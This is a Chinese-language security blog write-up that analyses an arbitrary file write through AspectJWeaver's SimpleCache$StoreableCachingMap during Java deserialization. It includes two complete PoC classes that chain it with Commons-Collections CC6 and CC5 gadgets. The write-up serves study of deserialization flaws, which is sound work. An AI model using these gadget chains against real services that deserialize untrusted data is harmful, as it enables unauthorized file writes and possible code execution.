前言 其实这个之前就做过了,在PolarCTF的《一写一个不吱声》这道题中就是专门介绍了Aspectjweaver导致任意文件写入的问题,不过这里的话主要是想整合一下学过的链子看看如何触发Aspectjweaver的任意文件写入
介绍一下 AspectJWeaver 是 AspectJ 框架里的一个核心组件,用于实现 AOP(面向切面编程) 的字节码织入功能。它是一个 Java 代理/库,能够将”切面”(Aspect)代码自动插入到目标类的字节码中,让你在不修改原有业务代码的情况下,添加横切关注点(如日志、事务、权限检查等)。
依赖 先导入AspectJWeaver的依赖
1 2 3 4 5 <dependency > <groupId > org.aspectj</groupId > <artifactId > aspectjweaver</artifactId > <version > 1.9.2</version > </dependency >
另外还需要导入CC的依赖,我这里是commons-collections3.2.1
链子分析 首先看看AspectJWeaver导致任意文件写入的地方
SimpleCache$StoreableCachingMap#put() 来到org.aspectj.weaver.tools.cache.SimpleCache中内部类StoreableCachingMap 的 put 函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 private static class StoreableCachingMap extends HashMap { private static final String SAME_BYTES_STRING = "IDEM" ; private static final byte [] SAME_BYTES = SAME_BYTES_STRING.getBytes();@Override public Object put (Object key, Object value) { try { String path = null ; byte [] valueBytes = (byte []) value; if (Arrays.equals(valueBytes, SAME_BYTES)) { path = SAME_BYTES_STRING; } else { path = writeToPath((String) key, valueBytes); } Object result = super .put(key, path); storeMap(); return result; } catch (IOException e) { trace.error("Error inserting in cache: key:" +key.toString() + "; value:" +value.toString(), e); Dump.dumpWithException(e); } return null ; }
可以看到这个类是继承了HashMap类的,并且内部重写了put方法
这段代码主要是会将键值对添加到映射中,会检查value字节数组中是否有SAME_BYTES标记,这个标记表示是否是重复的字节数据。
随后根据这个标记去确定写入文件的路径是”IDEM”还是通过writeToPath函数把字节数据写入磁盘,并返回文件路径
最终会将键和文件路径写入一个HashMap对象中添加映射,并调用storeMap方法将映射数据存储到持久化存储中,最后返回result
我们跟进writeToPath看看
1 2 3 4 5 6 7 8 private String writeToPath (String key, byte [] bytes) throws IOException { String fullPath = folder + File.separator + key; FileOutputStream fos = new FileOutputStream (fullPath); fos.write(bytes); fos.flush(); fos.close(); return fullPath; }
就是一个将字节数据写入文件的操作,fullPath是将缓存目录和key文件名拼接后的最终文件路径,关键点就在于这里是拼接且无过滤的
可以看看folder是如何赋值的
构造函数中有folder的赋值
然后如何触发这里的put方法呢?想必这个就有很多方法了,最常见的就是LazyMap#get方法
LazyMap#get()触发put
1 2 3 4 5 6 7 8 9 public Object get (Object key) { if (map.containsKey(key) == false ) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
这里的value文件内容由factory.transform方法返回,我们可以用之前CC1讲过的ConstantTransformer去操作
1 2 3 4 5 6 7 public ConstantTransformer (Object constantToReturn) { super (); iConstant = constantToReturn; } public Object transform (Object input) { return iConstant; }
至于如何触发LazyMap#get方法,CC6和CC5就有讲过了
CC6触发链 1 2 3 4 5 6 HashMap#readObject()-> HashMap#hash()-> TiedMapEntry#hashCode()-> TiedMapEntry#getvalue()-> LazyMap#get()-> SimpleCache$StoreableCachingMap#put()
CC6+AspectJWeaver POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 package SerializeChains.AspectJWeaverPOC;import SerializeChains.Gedget.Gadgets;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.lang.reflect.Constructor;import java.nio.charset.StandardCharsets;import java.util.HashMap;import java.util.Map;public class AspectJWeaver_CC6 { public static void main (String[] args) throws Exception { Class c = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap" ); Constructor ctor = c.getDeclaredConstructor(String.class, int .class); ctor.setAccessible(true ); HashMap storeableCachingMap = (HashMap) ctor.newInstance("E:\\java\\JavaSec\\JavaSerialize" ,1 ); ConstantTransformer constantTransformer = new ConstantTransformer ("wanth3f1ag" .getBytes(StandardCharsets.UTF_8)); Map<Object,Object> lazyMap = LazyMap.decorate(storeableCachingMap,constantTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap,"2.txt" ); HashMap<Object,Object> hashmap = new HashMap <>(); hashmap.put(tiedMapEntry, "3" ); Gadgets.serialize(hashmap,"AspectJWeaver_CC6.txt" ); Gadgets.unserialize("AspectJWeaver_CC6.txt" ); } }
CC5触发链 1 2 3 4 5 BadAttributeValueExpException#readObject()-> TiedMapEntry#toString()-> TiedMapEntry#getvalue()-> LazyMap#get()-> SimpleCache$StoreableCachingMap#put()
CC5+AspectJWeaver POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 package SerializeChains.AspectJWeaverPOC;import SerializeChains.Gedget.Gadgets;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.management.BadAttributeValueExpException;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.nio.charset.StandardCharsets;import java.util.HashMap;import java.util.Map;public class AspectJWeaver_CC5 { public static void main (String[] args) throws Exception { Class c = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap" ); Constructor ctor = c.getDeclaredConstructor(String.class, int .class); ctor.setAccessible(true ); HashMap storeableCachingMap = (HashMap) ctor.newInstance("E:\\java\\JavaSec\\JavaSerialize" ,1 ); ConstantTransformer constantTransformer = new ConstantTransformer ("wanth3f1ag" .getBytes(StandardCharsets.UTF_8)); Map<Object,Object> lazyMap = LazyMap.decorate(storeableCachingMap,constantTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap,"1.txt" ); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException (null ); Gadgets.setFieldValue(badAttributeValueExpException,"val" ,tiedMapEntry); Gadgets.serialize(badAttributeValueExpException,"AspectJWeaver_CC5.txt" ); Gadgets.unserialize("AspectJWeaver_CC5.txt" ); } }
参考文章:https://infernity.top/2025/03/24/Aspectjweaver%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/